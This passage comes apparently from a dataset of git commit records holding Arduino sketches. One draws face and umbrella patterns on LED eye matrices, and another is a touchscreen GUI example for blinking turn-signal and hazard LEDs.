lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(28, color);\n lefteye.setPixelColor(35, color);\n lefteye.setPixelColor(36, color);\n lefteye.setPixelColor(43, color);\n lefteye.setPixelColor(44, color);\n lefteye.setPixelColor(51, color);\n lefteye.setPixelColor(52, color);\n lefteye.setPixelColor(59, color);\n lefteye.setPixelColor(60, color);\n lefteye.setPixelColor(67, color);\n lefteye.setPixelColor(68, color);\n lefteye.setPixelColor(75, color);\n lefteye.setPixelColor(76, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(84, color);\n lefteye.setPixelColor(91, color);\n lefteye.setPixelColor(92, color);\n lefteye.setPixelColor(99, color);\n lefteye.setPixelColor(100, color);\n lefteye.setPixelColor(106, color);\n lefteye.setPixelColor(107, color);\n lefteye.setPixelColor(108, color);\n lefteye.setPixelColor(113, color);\n lefteye.setPixelColor(114, color);\n lefteye.setPixelColor(115, color);\n lefteye.setPixelColor(120, color);\n lefteye.setPixelColor(121, color);\n lefteye.setPixelColor(122, color);\n lefteye.setPixelColor(145, color);\n lefteye.setPixelColor(146, color);\n lefteye.setPixelColor(153, color);\n lefteye.setPixelColor(154, color);\n righteye.setPixelColor(101, color);\n righteye.setPixelColor(102, color);\n righteye.setPixelColor(109, color);\n righteye.setPixelColor(110, color);\n righteye.setPixelColor(133, color);\n righteye.setPixelColor(134, color);\n righteye.setPixelColor(135, color);\n righteye.setPixelColor(140, color);\n righteye.setPixelColor(141, color);\n righteye.setPixelColor(142, color);\n righteye.setPixelColor(147, color);\n righteye.setPixelColor(148, color);\n righteye.setPixelColor(149, color);\n righteye.setPixelColor(155, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(163, color);\n righteye.setPixelColor(164, color);\n righteye.setPixelColor(171, color);\n righteye.setPixelColor(172, color);\n righteye.setPixelColor(179, color);\n righteye.setPixelColor(180, color);\n righteye.setPixelColor(187, color);\n righteye.setPixelColor(188, color);\n righteye.setPixelColor(195, color);\n righteye.setPixelColor(196, color);\n righteye.setPixelColor(203, color);\n righteye.setPixelColor(204, color);\n righteye.setPixelColor(211, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(219, color);\n righteye.setPixelColor(220, color);\n righteye.setPixelColor(227, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(235, color);\n righteye.setPixelColor(236, color);\n righteye.setPixelColor(237, color);\n righteye.setPixelColor(244, color);\n righteye.setPixelColor(245, color);\n righteye.setPixelColor(246, color);\n righteye.setPixelColor(253, color);\n righteye.setPixelColor(254, color);\n righteye.setPixelColor(255, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace020()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(17, color);\n lefteye.setPixelColor(18, color);\n lefteye.setPixelColor(24, color);\n lefteye.setPixelColor(25, color);\n lefteye.setPixelColor(26, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(35, color);\n lefteye.setPixelColor(36, color);\n lefteye.setPixelColor(44, color);\n lefteye.setPixelColor(45, color);\n lefteye.setPixelColor(52, color);\n lefteye.setPixelColor(53, color);\n lefteye.setPixelColor(60, color);\n lefteye.setPixelColor(61, color);\n lefteye.setPixelColor(68, color);\n lefteye.setPixelColor(69, color);\n lefteye.setPixelColor(76, color);\n lefteye.setPixelColor(77, color);\n lefteye.setPixelColor(84, color);\n lefteye.setPixelColor(85, color);\n lefteye.setPixelColor(91, color);\n lefteye.setPixelColor(92, color);\n lefteye.setPixelColor(96, color);\n lefteye.setPixelColor(97, color);\n lefteye.setPixelColor(98, color);\n lefteye.setPixelColor(99, color);\n lefteye.setPixelColor(104, color);\n lefteye.setPixelColor(105, color);\n lefteye.setPixelColor(106, color);\n lefteye.setPixelColor(144, color);\n lefteye.setPixelColor(145, color);\n lefteye.setPixelColor(146, color);\n lefteye.setPixelColor(152, color);\n lefteye.setPixelColor(153, color);\n lefteye.setPixelColor(154, color);\n lefteye.setPixelColor(155, color);\n lefteye.setPixelColor(163, color);\n lefteye.setPixelColor(164, color);\n lefteye.setPixelColor(172, color);\n lefteye.setPixelColor(173, color);\n lefteye.setPixelColor(180, color);\n lefteye.setPixelColor(181, color);\n lefteye.setPixelColor(188, color);\n lefteye.setPixelColor(189, color);\n lefteye.setPixelColor(196, color);\n lefteye.setPixelColor(197, color);\n lefteye.setPixelColor(204, color);\n lefteye.setPixelColor(205, color);\n lefteye.setPixelColor(212, color);\n lefteye.setPixelColor(213, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(220, color);\n lefteye.setPixelColor(224, color);\n lefteye.setPixelColor(225, color);\n lefteye.setPixelColor(225, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(232, color);\n lefteye.setPixelColor(233, color);\n lefteye.setPixelColor(234, color);\n righteye.setPixelColor(38, color);\n righteye.setPixelColor(39, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(47, color);\n righteye.setPixelColor(52, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(60, color);\n righteye.setPixelColor(61, color);\n righteye.setPixelColor(68, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(76, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(94, color);\n righteye.setPixelColor(95, color);\n righteye.setPixelColor(166, color);\n righteye.setPixelColor(167, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(180, color);\n righteye.setPixelColor(181, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(188, color);\n righteye.setPixelColor(189, color);\n righteye.setPixelColor(196, color);\n righteye.setPixelColor(197, color);\n righteye.setPixelColor(204, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(215, color);\n righteye.setPixelColor(222, color);\n righteye.setPixelColor(223, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace021()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(48, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(176, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(185, color);\n lefteye.setPixelColor(192, color);\n lefteye.setPixelColor(193, color);\n lefteye.setPixelColor(200, color);\n lefteye.setPixelColor(201, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(183, color);\n righteye.setPixelColor(190, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(198, color);\n righteye.setPixelColor(199, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(207, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace022()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(58, color);\n lefteye.setPixelColor(59, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(66, color);\n lefteye.setPixelColor(67, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(75, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(185, color);\n lefteye.setPixelColor(186, color);\n lefteye.setPixelColor(187, color);\n lefteye.setPixelColor(192, color);\n lefteye.setPixelColor(193, color);\n lefteye.setPixelColor(194, color);\n lefteye.setPixelColor(195, color);\n righteye.setPixelColor(60, color);\n righteye.setPixelColor(61, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(68, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(172, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(180, color);\n righteye.setPixelColor(181, color);\n righteye.setPixelColor(188, color);\n righteye.setPixelColor(189, color);\n righteye.setPixelColor(190, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(196, color);\n righteye.setPixelColor(197, color);\n righteye.setPixelColor(198, color);\n righteye.setPixelColor(199, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace023()\n{\nlefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(32, color);\n lefteye.setPixelColor(33, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(43, color);\n lefteye.setPixelColor(51, color);\n lefteye.setPixelColor(52, color);\n lefteye.setPixelColor(53, color);\n lefteye.setPixelColor(61, color);\n lefteye.setPixelColor(62, color);\n lefteye.setPixelColor(63, color);\n lefteye.setPixelColor(69, color);\n lefteye.setPixelColor(70, color);\n lefteye.setPixelColor(71, color);\n lefteye.setPixelColor(75, color);\n lefteye.setPixelColor(76, color);\n lefteye.setPixelColor(77, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(88, color);\n lefteye.setPixelColor(89, color);\n lefteye.setPixelColor(155, color);\n lefteye.setPixelColor(156, color);\n lefteye.setPixelColor(157, color);\n lefteye.setPixelColor(160, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(166, color);\n lefteye.setPixelColor(174, color);\n lefteye.setPixelColor(182, color);\n lefteye.setPixelColor(189, color);\n lefteye.setPixelColor(197, color);\n lefteye.setPixelColor(206, color);\n lefteye.setPixelColor(214, color);\n lefteye.setPixelColor(216, color);\n lefteye.setPixelColor(218, color);\n lefteye.setPixelColor(222, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(228, color);\n lefteye.setPixelColor(229, color);\n righteye.setPixelColor(26, color);\n righteye.setPixelColor(27, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(33, color);\n righteye.setPixelColor(37, color);\n righteye.setPixelColor(39, color);\n righteye.setPixelColor(41, color);\n righteye.setPixelColor(49, color);\n righteye.setPixelColor(58, color);\n righteye.setPixelColor(66, color);\n righteye.setPixelColor(73, color);\n righteye.setPixelColor(81, color);\n righteye.setPixelColor(89, color);\n righteye.setPixelColor(93, color);\n righteye.setPixelColor(95, color);\n righteye.setPixelColor(98, color);\n righteye.setPixelColor(99, color);\n righteye.setPixelColor(100, color);\n righteye.setPixelColor(166, color);\n righteye.setPixelColor(167, color);\n righteye.setPixelColor(172, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(178, color);\n righteye.setPixelColor(179, color);\n righteye.setPixelColor(180, color);\n righteye.setPixelColor(184, color);\n righteye.setPixelColor(185, color);\n righteye.setPixelColor(186, color);\n righteye.setPixelColor(192, color);\n righteye.setPixelColor(193, color);\n righteye.setPixelColor(194, color);\n righteye.setPixelColor(202, color);\n righteye.setPixelColor(203, color);\n righteye.setPixelColor(204, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(222, color);\n righteye.setPixelColor(223, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawUmbrella()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(2, colorRed);\n lefteye.setPixelColor(4, colorWhite);\n lefteye.setPixelColor(8, colorRed);\n lefteye.setPixelColor(9, colorRed);\n lefteye.setPixelColor(10, colorRed);\n lefteye.setPixelColor(12, colorWhite);\n lefteye.setPixelColor(13, colorWhite);\n lefteye.setPixelColor(16, colorRed);\n lefteye.setPixelColor(17, colorRed);\n lefteye.setPixelColor(20, colorWhite);\n lefteye.setPixelColor(21, colorWhite);\n lefteye.setPixelColor(22, colorWhite);\n lefteye.setPixelColor(24, colorRed);\n lefteye.setPixelColor(25, colorRed);\n lefteye.setPixelColor(27, colorWhite);\n lefteye.setPixelColor(28, colorWhite);\n lefteye.setPixelColor(29, colorWhite);\n lefteye.setPixelColor(30, colorWhite);\n lefteye.setPixelColor(31, colorWhite);\n lefteye.setPixelColor(32, colorRed);\n lefteye.setPixelColor(34, colorWhite);\n lefteye.setPixelColor(35, colorWhite);\n lefteye.setPixelColor(36, colorWhite);\n lefteye.setPixelColor(40, colorRed);\n lefteye.setPixelColor(42, colorWhite);\n lefteye.setPixelColor(43, colorWhite);\n lefteye.setPixelColor(46, colorRed);\n lefteye.setPixelColor(47, colorRed);\n lefteye.setPixelColor(52, colorRed);\n lefteye.setPixelColor(53, colorRed);\n lefteye.setPixelColor(54, colorRed);\n lefteye.setPixelColor(58, colorRed);\n lefteye.setPixelColor(59, colorRed);\n lefteye.setPixelColor(60, colorRed);\n lefteye.setPixelColor(61, colorRed);\n lefteye.setPixelColor(62, colorRed);\n lefteye.setPixelColor(66, colorRed);\n lefteye.setPixelColor(67, colorRed);\n lefteye.setPixelColor(68, colorRed);\n lefteye.setPixelColor(69, colorRed);\n lefteye.setPixelColor(70, colorRed);\n lefteye.setPixelColor(76, colorRed);\n lefteye.setPixelColor(77, colorRed);\n lefteye.setPixelColor(78, colorRed);\n lefteye.setPixelColor(80, colorRed);\n lefteye.setPixelColor(82, colorWhite);\n lefteye.setPixelColor(83, colorWhite);\n lefteye.setPixelColor(86, colorRed);\n lefteye.setPixelColor(87, colorRed);\n lefteye.setPixelColor(88, colorRed);\n lefteye.setPixelColor(90, colorWhite);\n lefteye.setPixelColor(91, colorWhite);\n lefteye.setPixelColor(92, colorWhite);\n lefteye.setPixelColor(96, colorRed);\n lefteye.setPixelColor(97, colorRed);\n lefteye.setPixelColor(99, colorWhite);\n lefteye.setPixelColor(100, colorWhite);\n lefteye.setPixelColor(101, colorWhite);\n lefteye.setPixelColor(102, colorWhite);\n lefteye.setPixelColor(103, colorWhite);\n lefteye.setPixelColor(104, colorRed);\n lefteye.setPixelColor(105, colorRed);\n lefteye.setPixelColor(108, colorWhite);\n lefteye.setPixelColor(109, colorWhite);\n lefteye.setPixelColor(110, colorWhite);\n lefteye.setPixelColor(112, colorRed);\n lefteye.setPixelColor(113, colorRed);\n lefteye.setPixelColor(114, colorRed);\n lefteye.setPixelColor(116, colorWhite);\n lefteye.setPixelColor(117, colorWhite);\n lefteye.setPixelColor(122, colorRed);\n lefteye.setPixelColor(124, colorWhite);\n lefteye.setPixelColor(130, colorRed);\n lefteye.setPixelColor(132, colorWhite);\n lefteye.setPixelColor(136, colorRed);\n lefteye.setPixelColor(137, colorRed);\n lefteye.setPixelColor(138, colorRed);\n lefteye.setPixelColor(140, colorWhite);\n lefteye.setPixelColor(141, colorWhite);\n lefteye.setPixelColor(144, colorRed);\n lefteye.setPixelColor(145, colorRed);\n lefteye.setPixelColor(148, colorWhite);\n lefteye.setPixelColor(149, colorWhite);\n lefteye.setPixelColor(150, colorWhite);\n lefteye.setPixelColor(152, colorRed);\n lefteye.setPixelColor(153, colorRed);\n lefteye.setPixelColor(155, colorWhite);\n lefteye.setPixelColor(156, colorWhite);\n lefteye.setPixelColor(157, colorWhite);\n lefteye.setPixelColor(158, colorWhite);\n lefteye.setPixelColor(159, colorWhite);\n lefteye.setPixelColor(160, colorRed);\n lefteye.setPixelColor(162, colorWhite);\n lefteye.setPixelColor(163, colorWhite);\n lefteye.setPixelColor(164, colorWhite);\n lefteye.setPixelColor(168, colorRed);\n lefteye.setPixelColor(174, colorRed);\n lefteye.setPixelColor(175, colorRed);\n lefteye.setPixelColor(180, colorRed);\n lefteye.setPixelColor(181, colorRed);\n lefteye.setPixelColor(182, colorRed);\n lefteye.setPixelColor(186, colorRed);\n lefteye.setPixelColor(187, colorRed);\n lefteye.setPixelColor(188, colorRed);\n lefteye.setPixelColor(189, colorRed);\n lefteye.setPixelColor(190, colorRed);\n lefteye.setPixelColor(194, colorRed);\n lefteye.setPixelColor(195, colorRed);\n lefteye.setPixelColor(196, colorRed);\n lefteye.setPixelColor(197, colorRed);\n lefteye.setPixelColor(198, colorRed);\n lefteye.setPixelColor(204, colorRed);\n lefteye.setPixelColor(205, colorRed);\n lefteye.setPixelColor(206, colorRed);\n lefteye.setPixelColor(208, colorRed);\n lefteye.setPixelColor(210, colorWhite);\n lefteye.setPixelColor(211, colorWhite);\n lefteye.setPixelColor(214, colorRed);\n lefteye.setPixelColor(215, colorRed);\n lefteye.setPixelColor(216, colorRed);\n lefteye.setPixelColor(218, colorWhite);\n lefteye.setPixelColor(219, colorWhite);\n lefteye.setPixelColor(220, colorWhite);\n lefteye.setPixelColor(224, colorRed);\n lefteye.setPixelColor(225, colorRed);\n lefteye.setPixelColor(227, colorWhite);\n lefteye.setPixelColor(228, colorWhite);\n lefteye.setPixelColor(229, colorWhite);\n lefteye.setPixelColor(230, colorWhite);\n lefteye.setPixelColor(231, colorWhite);\n lefteye.setPixelColor(232, colorRed);\n lefteye.setPixelColor(233, colorRed);\n lefteye.setPixelColor(236, colorWhite);\n lefteye.setPixelColor(237, colorWhite);\n lefteye.setPixelColor(238, colorWhite);\n lefteye.setPixelColor(240, colorRed);\n lefteye.setPixelColor(241, colorRed);\n lefteye.setPixelColor(242, colorRed);\n lefteye.setPixelColor(244, colorWhite);\n lefteye.setPixelColor(245, colorWhite);\n lefteye.setPixelColor(250, colorRed);\n lefteye.setPixelColor(252, colorWhite);\n righteye.setPixelColor(3, colorWhite);\n righteye.setPixelColor(5, colorRed);\n righteye.setPixelColor(10, colorWhite);\n righteye.setPixelColor(11, colorWhite);\n righteye.setPixelColor(13, colorRed);\n righteye.setPixelColor(14, colorRed);\n righteye.setPixelColor(15, colorRed);\n righteye.setPixelColor(17, colorWhite);\n righteye.setPixelColor(18, colorWhite);\n righteye.setPixelColor(19, colorWhite);\n righteye.setPixelColor(22, colorRed);\n righteye.setPixelColor(23, colorRed);\n righteye.setPixelColor(24, colorWhite);\n righteye.setPixelColor(25, colorWhite);\n righteye.setPixelColor(26, colorWhite);\n righteye.setPixelColor(27, colorWhite);\n righteye.setPixelColor(28, colorWhite);\n righteye.setPixelColor(30, colorRed);\n righteye.setPixelColor(31, colorRed);\n righteye.setPixelColor(35, colorWhite);\n righteye.setPixelColor(36, colorWhite);\n righteye.setPixelColor(37, colorWhite);\n righteye.setPixelColor(39, colorRed);\n righteye.setPixelColor(40, colorRed);\n righteye.setPixelColor(41, colorRed);\n righteye.setPixelColor(44, colorWhite);\n righteye.setPixelColor(45, colorWhite);\n righteye.setPixelColor(47, colorRed);\n righteye.setPixelColor(49, colorRed);\n righteye.setPixelColor(50, colorRed);\n righteye.setPixelColor(51, colorRed);\n righteye.setPixelColor(57, colorRed);\n righteye.setPixelColor(58, colorRed);\n righteye.setPixelColor(59, colorRed);\n righteye.setPixelColor(60, colorRed);\n righteye.setPixelColor(61, colorRed);\n righteye.setPixelColor(65, colorRed);\n righteye.setPixelColor(66, colorRed);\n righteye.setPixelColor(67, colorRed);\n righteye.setPixelColor(68, colorRed);\n righteye.setPixelColor(69, colorRed);\n righteye.setPixelColor(73, colorRed);\n righteye.setPixelColor(74, colorRed);\n righteye.setPixelColor(75, colorRed);\n righteye.setPixelColor(80, colorRed);\n righteye.setPixelColor(81, colorRed);\n righteye.setPixelColor(84, colorWhite);\n righteye.setPixelColor(85, colorWhite);\n righteye.setPixelColor(87, colorRed);\n righteye.setPixelColor(91, colorWhite);\n righteye.setPixelColor(92, colorWhite);\n righteye.setPixelColor(93, colorWhite);\n righteye.setPixelColor(95, colorRed);\n righteye.setPixelColor(96, colorWhite);\n righteye.setPixelColor(97, colorWhite);\n righteye.setPixelColor(98, colorWhite);\n righteye.setPixelColor(99, colorWhite);\n righteye.setPixelColor(100, colorWhite);\n righteye.setPixelColor(102, colorRed);\n righteye.setPixelColor(103, colorRed);\n righteye.setPixelColor(105, colorWhite);\n righteye.setPixelColor(106, colorWhite);\n righteye.setPixelColor(107, colorWhite);\n righteye.setPixelColor(110, colorRed);\n righteye.setPixelColor(111, colorRed);\n righteye.setPixelColor(114, colorWhite);\n righteye.setPixelColor(115, colorWhite);\n righteye.setPixelColor(117, colorRed);\n righteye.setPixelColor(118, colorRed);\n righteye.setPixelColor(119, colorRed);\n righteye.setPixelColor(123, colorWhite);\n righteye.setPixelColor(125, colorRed);\n righteye.setPixelColor(131, colorWhite);\n righteye.setPixelColor(133, colorRed);\n righteye.setPixelColor(138, colorWhite);\n righteye.setPixelColor(139, colorWhite);\n righteye.setPixelColor(141, colorRed);\n righteye.setPixelColor(142, colorRed);\n righteye.setPixelColor(143, colorRed);\n righteye.setPixelColor(145, colorWhite);\n righteye.setPixelColor(146, colorWhite);\n righteye.setPixelColor(147, colorWhite);\n righteye.setPixelColor(150, colorRed);\n righteye.setPixelColor(151, colorRed);\n righteye.setPixelColor(152, colorWhite);\n righteye.setPixelColor(153, colorWhite);\n righteye.setPixelColor(154, colorWhite);\n righteye.setPixelColor(155, colorWhite);\n righteye.setPixelColor(156, colorWhite);\n righteye.setPixelColor(158, colorRed);\n righteye.setPixelColor(159, colorRed);\n righteye.setPixelColor(163, colorWhite);\n righteye.setPixelColor(164, colorWhite);\n righteye.setPixelColor(165, colorWhite);\n righteye.setPixelColor(167, colorRed);\n righteye.setPixelColor(168, colorRed);\n righteye.setPixelColor(169, colorRed);\n righteye.setPixelColor(172, colorWhite);\n righteye.setPixelColor(173, colorWhite);\n righteye.setPixelColor(175, colorRed);\n righteye.setPixelColor(177, colorRed);\n righteye.setPixelColor(178, colorRed);\n righteye.setPixelColor(179, colorRed);\n righteye.setPixelColor(185, colorRed);\n righteye.setPixelColor(186, colorRed);\n righteye.setPixelColor(187, colorRed);\n righteye.setPixelColor(188, colorRed);\n righteye.setPixelColor(189, colorRed);\n righteye.setPixelColor(193, colorRed);\n righteye.setPixelColor(194, colorRed);\n righteye.setPixelColor(195, colorRed);\n righteye.setPixelColor(196, colorRed);\n righteye.setPixelColor(197, colorRed);\n righteye.setPixelColor(201, colorRed);\n righteye.setPixelColor(202, colorRed);\n righteye.setPixelColor(203, colorRed);\n righteye.setPixelColor(208, colorRed);\n righteye.setPixelColor(209, colorRed);\n righteye.setPixelColor(212, colorWhite);\n righteye.setPixelColor(213, colorWhite);\n righteye.setPixelColor(215, colorRed);\n righteye.setPixelColor(219, colorWhite);\n righteye.setPixelColor(220, colorWhite);\n righteye.setPixelColor(221, colorWhite);\n righteye.setPixelColor(223, colorRed);\n righteye.setPixelColor(224, colorWhite);\n righteye.setPixelColor(225, colorWhite);\n righteye.setPixelColor(226, colorWhite);\n righteye.setPixelColor(227, colorWhite);\n righteye.setPixelColor(228, colorWhite);\n righteye.setPixelColor(230, colorRed);\n righteye.setPixelColor(231, colorRed);\n righteye.setPixelColor(233, colorWhite);\n righteye.setPixelColor(234, colorWhite);\n righteye.setPixelColor(235, colorWhite);\n righteye.setPixelColor(238, colorRed);\n righteye.setPixelColor(239, colorRed);\n righteye.setPixelColor(242, colorWhite);\n righteye.setPixelColor(243, colorWhite);\n righteye.setPixelColor(245, colorRed);\n righteye.setPixelColor(246, colorRed);\n righteye.setPixelColor(247, colorRed);\n righteye.setPixelColor(251, colorWhite);\n righteye.setPixelColor(253, colorRed);\n righteye.show();\n lefteye.show(); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'NRF52832\/Unicorn_Hat_HD\/Wrench-Mask-BLE_Unicorn-Hat-HD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c5d95bf07d3dfe40e157d55254ca854dfbd49e8e","subject":"Added Touchscreen_GUI_Signaling example.","message":"Added Touchscreen_GUI_Signaling example.\n","repos":"jrullan\/Touchscreen_GUI,jrullan\/Touchscreen_GUI","old_file":"examples\/Touchscreen_GUI_Signaling\/Touchscreen_GUI_Signaling.ino","new_file":"examples\/Touchscreen_GUI_Signaling\/Touchscreen_GUI_Signaling.ino","new_contents":"\/**************************************************************\n *\n * Touchscreen_GUI_Template\n *\n * Use this template as a starting point.\n * The required libraries \"includes\" and configuration\n * sample code is provided to help you quickly create\n * a working sketch.\n *\n * This library was developed for Seeedstudio\n * TouchShield v2.0, based on their TFTv2 and SeeedTouchscreen\n * libraries.\n *\n * Comment out lines that are not required for your project.\n *\n * Author: Jose Rullan\n * \n *************************************************************\/\n\n\/\/ Required includes \n#include <SPI.h>\n\n\/\/ TouchscreenGUI includes\n#include <Button.h>\n\n\n\/\/ Create the objects\n\/\/==========================================\nCanvas canvas = Canvas(); \/\/ Memory used: (storage\/ram: 1,676\/36) 3,372\/228\nButton btnLed = Button(20,BLACK,BLACK,GRAY2); \/\/ Memory used: (storage\/ram: 3,624\/63) 6,996\/291\nButton btnLeft = Button(80,40,GRAY1,BLACK,GRAY2); \/\/ Memory used: (storage\/ram: 3,624\/63) 6,996\/291\nButton btnRight = Button(80,40,GRAY1,BLACK,GRAY2); \/\/ Memory used: (storage\/ram: 3,624\/63) 6,996\/291\nButton btnHazard = Button(80,40,GRAY1,BLACK,GRAY2); \/\/ Memory used: (storage\/ram: 3,624\/63) 6,996\/291\n\n\/\/ Global variables\nconst int leftPin = 22;\nconst int rightPin = 24;\nbool leftActive = false;\nbool rightActive = false;\nbool hazardActive = false;\nint blinkSpeed = 400;\nunsigned long lastTime = 0;\n\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(leftPin,OUTPUT);\n pinMode(rightPin,OUTPUT);\n \n canvas.init(TFT_LANDSCAPE);\n\n \/\/Configure the widgets\n \/\/========================================= \n \/\/button.setSize(80,40);\n \/\/button.setColors(GRAY1,BLACK,WHITE);\n \n btnLed.init();\n \n btnLeft.setText(\"<-\");\n btnLeft.setEventHandler(&btnLeftEventHandler);\n btnLeft.init();\n \n btnRight.setText(\"->\");\n btnRight.setEventHandler(&btnRightEventHandler);\n btnRight.init();\n \n btnHazard.setText(\"<->\");\n btnHazard.setEventHandler(&btnHazardEventHandler);\n btnHazard.init();\n\n\n \/\/ Add widgets to canvas\n \/\/ (Use layout template for coordinates)\n \/\/=========================================\n \/\/canvas.add(&btnLed,140,0);\n canvas.add(&btnLeft,55,50);\n canvas.add(&btnRight,185,50);\n canvas.add(&btnHazard,120,150);\n \n lastTime = millis();\n}\n\n\nvoid loop() {\n \n canvas.scan(); \n \n if(btnLeft.touched == true){\n blinkSignal(&leftActive,leftPin);\n }\n \n if(btnRight.touched == true){\n blinkSignal(&rightActive,rightPin);\n }\n \n if(btnHazard.touched == true){\n blinkHazard(&hazardActive,leftPin,rightPin);\n }\n\n}\n\n\n\/\/ Event Handler Functions for buttons\n\/\/ (one per button)\n\/\/==========================================\nvoid btnLeftEventHandler(Button* btn){\n leftActive = true;\n if(btn->touched){\n setBackground(btn,GREEN);\n }else{\n setBackground(btn,GRAY1);\n digitalWrite(leftPin,LOW);\n }\n \n \/\/Deactivate other buttons\n btnRight.touched = false;\n setBackground(&btnRight,GRAY1); \n btnHazard.touched = false;\n setBackground(&btnHazard,GRAY1);\n \n \/\/Turn off the other LED\n digitalWrite(rightPin,LOW);\n}\n\nvoid btnRightEventHandler(Button* btn){\n rightActive = true;\n if(btn->touched){\n setBackground(btn,GREEN);\n }else{\n setBackground(btn,GRAY1);\n digitalWrite(rightPin,LOW);\n }\n \n \/\/Deactivate other buttons\n btnLeft.touched = false;\n setBackground(&btnLeft,GRAY1);\n btnHazard.touched = false;\n setBackground(&btnHazard,GRAY1); \n \n \/\/Turn off the other LED\n digitalWrite(leftPin,LOW);\n}\n\nvoid btnHazardEventHandler(Button* btn){\n if(btn->touched){\n setBackground(btn,GREEN);\n }else{\n setBackground(btn,GRAY1);\n digitalWrite(leftPin,LOW);\n digitalWrite(rightPin,LOW);\n }\n \n \/\/Deactivate other buttons\n btnLeft.touched = false;\n btnRight.touched = false;\n setBackground(&btnLeft,GRAY1);\n setBackground(&btnRight,GRAY1);\n}\n\n\/\/ Helper routines\n\/\/==========================================\nvoid blinkSignal(bool* signal, int pin){\n if(millis() > lastTime + blinkSpeed){\n if(*signal){\n digitalWrite(pin,HIGH);\n }else{\n digitalWrite(pin,LOW);\n }\n *signal = !*signal;\n lastTime = millis();\n }\n}\n\nvoid blinkHazard(bool* signal, int pin1, int pin2){\n if(millis() > lastTime + blinkSpeed){\n if(*signal){\n digitalWrite(pin1,HIGH);\n digitalWrite(pin2,HIGH);\n }else{\n digitalWrite(pin1,LOW);\n digitalWrite(pin2,LOW);\n }\n *signal = !*signal;\n lastTime = millis();\n }\n}\n\nvoid setBackground(Button* btn, int color){\n btn->setColors(color,btn->fgColor,btn->borderColor);\n btn->show();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Touchscreen_GUI_Signaling\/Touchscreen_GUI_Signaling.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a1b7410cfc87ef9a527e4f6c38b39d173d2c0044","subject":"Added sensor control file","message":"Added sensor control 